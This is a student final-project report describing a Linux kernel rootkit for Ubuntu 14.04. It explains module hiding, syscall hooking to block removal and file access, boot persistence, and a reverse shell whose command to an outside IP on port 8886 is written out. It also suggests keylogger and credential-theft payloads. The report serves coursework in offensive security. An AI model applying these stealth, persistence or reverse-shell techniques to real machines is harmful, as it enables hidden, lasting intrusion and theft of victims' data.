CS 460 Final Project Report

Team Members

Alex Mitsdarfer - mitsdar2
David Jiang - djiang7
Hiroshi Fujii - fujii2
Shareefah Williams - scwilli2

Introduction

For our final project, we made a Linux rootkit. Our rootkit specifically targets Ubuntu 14.04 LTS on 32-bit (x86) platforms. We targeted 32 bit Ubuntu because we were more familiar with Linux internals than Windows internals, it is a popular system, and it is open source. The three main areas of our rootkit were stealth, persistence, and the functionality. For this project, we focused on creating the rootkit as the payload to be used with an exploit or another type of attack. Our rootkit is packaged as a loadable kernel module (.ko) and is activated with the command “sudo insmod rootkit.ko”

Stealth and Persistence

Stealth is a critical part of a rootkit. If a rootkit is detected and removed, it has failed its purpose. For stealth, the primary goal is to evade detection from common administrative tools that monitor loadable kernel modules and to prevent itself from being removed. There are two main locations that stores information about our kernel module. The first is /proc/modules, which is what “lsmod” uses to list the modules currently loaded in the system along with their current state and memory address. The second place is "/sys/module, which contains other information on the LKM. To hide from /proc/modules, we call the “list_del_init” function on “&__this_module.list”. This removes our module from the list checked by lsmod. The second part is to call the “kobject_del” function on “&THIS_MODULE”. This removes the kernel module’s entry from the virtual file system (VFS).

Another part that relates to stealth and persistence is resisting deletion. I hooked the “orig_delete_module” system call which is used by the “rmmod” command to remove a loaded kernel module. By hooking this system call, we allow the victim to use the the “rmmod” command normally, except when they try to remove our module. With this in place, the user cannot remove our rootkit module through any simple means. It would require more advanced tools or a system reinstall to completely remove our rootkit.

Once the rootkit is installed on a target system, we want to ensure that it remains there. This means not only preventing the rootkit from being removed but also continuing to run after the computer has restarted. The “open” system call was hooked and a modified open took its place. The modified open will check if any part of the filename has “rootkit” or “modules” in it. If these substrings are present, the open function will fail by returning -1 rather than an expected file descriptor. “Rootkit” is the name of our C source code and kernel

object, and “modules” is a file that is modified for persistence, explained later. Even when trying to run as root (sudo), any attempts to open the file, such as using *cat*, *less, vim*, or other text editors will fail. A message is also printed to the terminal that says the user does not have permission to access the file. This is not printed by the rootkit, but instead by the kernel.

The second part of persistence is to ensure that the rootkit remains active and running even when the computer is restarted. There is a special way to do this for Linux kernel drivers so that the module will be inserted at boot time. The method I chose requires three steps. The first is to add the name of the kernel module to the file /etc/modules. Next, the kernel object (rootkit.ko) must be placed in a directory that the kernel expects to find “startup modules.” In this rootkit, I chose the directory /lib/modules/3.16.0-30-generic/kernel/drivers/watchdog, but I believe anything under the /lib/modules/3.16.0-30-generic/kernel/drivers/ directory would work. This is where other device drivers and modules are located. The third step is to run the program “depmod,” which resolves dependencies with kernel modules, determines what symbols are needed and which are exported, and creates various map files. I found through trial and error that the last step is necessary to ensure the rootkit restarts on system boot, but the functionality of “depmod” was very difficult to attempt to replicate.

In order to accomplish these three tasks, I first open the /etc/modules file and append the rootkit’s name to the end of the file (in this case, “rootkit”). I next open the kernel module for reading and open a new file in /lib/modules/3.16.0-30-generic/kernel/drivers/watchdog for writing. I copy the rootkit.ko bytes to the new file. Lastly, I run “depmod” by using a function called “call_usermodehelper.” This function allows the kernel to run a program in user space.

There were some challenges in obtaining persistence. The first challenge was figuring out how to do file IO in kernel space. This is known as being not a good practice for kernel applications. It is possible, however, using kernel library functions for virtual memory reading and writing, and “filp” file opening and closing. Another challenge was the third task of calling “depmod” when allowing the module to be inserted on boot. After some trial and error, I determined it was best not to attempt to replicate the program’s behavior. Instead, I tried to call this function from kernel space. Even after discovering “call_usermodehelper,” the persistence was not working properly. I discovered that “depmod” must be called as root in order to function properly for our purposes. I was able to get this to work using “call_usermodehelper” by essentially using ‘su -c “depmod”’ instead. With all of these tasks completed, our rootkit is successfully inserted on system startup.

Functionality

While both persistence and stealth are very important components of a rootkit, it all would be all worthless if an attacker cannot leverage having access to the victim’s machine. Functionally is essential to a rootkit because it provides the attacker with a payload to execute on the victim’s computer or provides an attacker access via a backdoor. Our initial thoughts were to create something similar to a netcat listener which

we began by creating our own TCP chat server. By doing this, we would be able to create a socket that could listen to numerous incoming connections. We were able to complete this task although we soon ran into problems with converting that file into something that would run in kernel space and there is to no documentation on it. Below is a small snippet of code using the four important calls: socket, bind, listen, and accept to set-up our server:

```
/* TCP "Chat" Server*/
int s;
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
struct addrinfo hints, *result;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
s = getaddrinfo(NULL, "1234", &hints, &result);
if (s != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
        exit(1);
}
if (bind(sock_fd, result->ai_addr, result->ai_addrlen) != 0) {
        perror("bind()");
        exit(1);
}
if (listen(sock_fd, 10) != 0) {
        perror("listen()");
        exit(1);
}
```

After a couple of weeks of setting-up this server, we discovered a faster, more stable method of leverage would be doing a reverse TCP shell. A reverse shell sends a shell to a specified user without binding to a port. This allows root commands over the remote server. Reverse shells are useful for rootkits because you can send commands to and receive results from a client.

Once connected, it will have spawned a remote shell on the server and from this moment onwards, a hacker has free reign. If the attacker has access to the victim's files, they can use ls, cat, pipe to a file, and other system calls from the attacker machine which could cost the victim their sensitive information if not quickly resolved. Due to our stealth and persistence, discovering and removing these processes will be even harder. This is a great way to use our rootkit, having this kind of hold on a victim's machine will work towards the hacker's advantage. In our code, these two lines are the most important parts of the functionality of our rootkit. These one-liners of code basically takes all of the components that we were thinking about for our TCP server and direct it to one call.

```
- char *argv[]={"/bin/bash","-c", "/bin/bash -i > /dev/tcp/192.168.17.131/8886 0<&1 2>&1", NULL};
- char *envp[]={"HOME=/","TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/bin:/usr/bin"};
```

Some challenges we faced along the way was spending so much time trying to implement the TCP server in the client. Even though we found a much simpler, more efficient way of implementing this functionally, it still would have been nice to have seen our own server work inside the rootkit. The options are unlimited for rootkits. If we continue to build on this project, we can implement more payloads. For example, implementing a keylogger or a payload that would covertly steal user passwords, credit card information, and other sensitive information.

Work and Responsibility Breakdown

The responsibilities of the project is broken down as such:

- Stealth and Persistence - David Jiang, Alex Mitsdarfer
- Functionality - Hiroshi Fujii, Shareefah Williams

Conclusion

Looking forward, we would like to expand on stealth and functionality. While we have proved that our rootkit can evade detection from simple and common ways, it would be interesting to run available rootkit detection tools against it and attempt to defeat those. We would also like to expand on the code's flexibility, making it more independent of directory location and hardcoded values. These are challenges for the future, as we wanted to first test functionality before adding flexibility and luxury (or improved rootkit-user experience).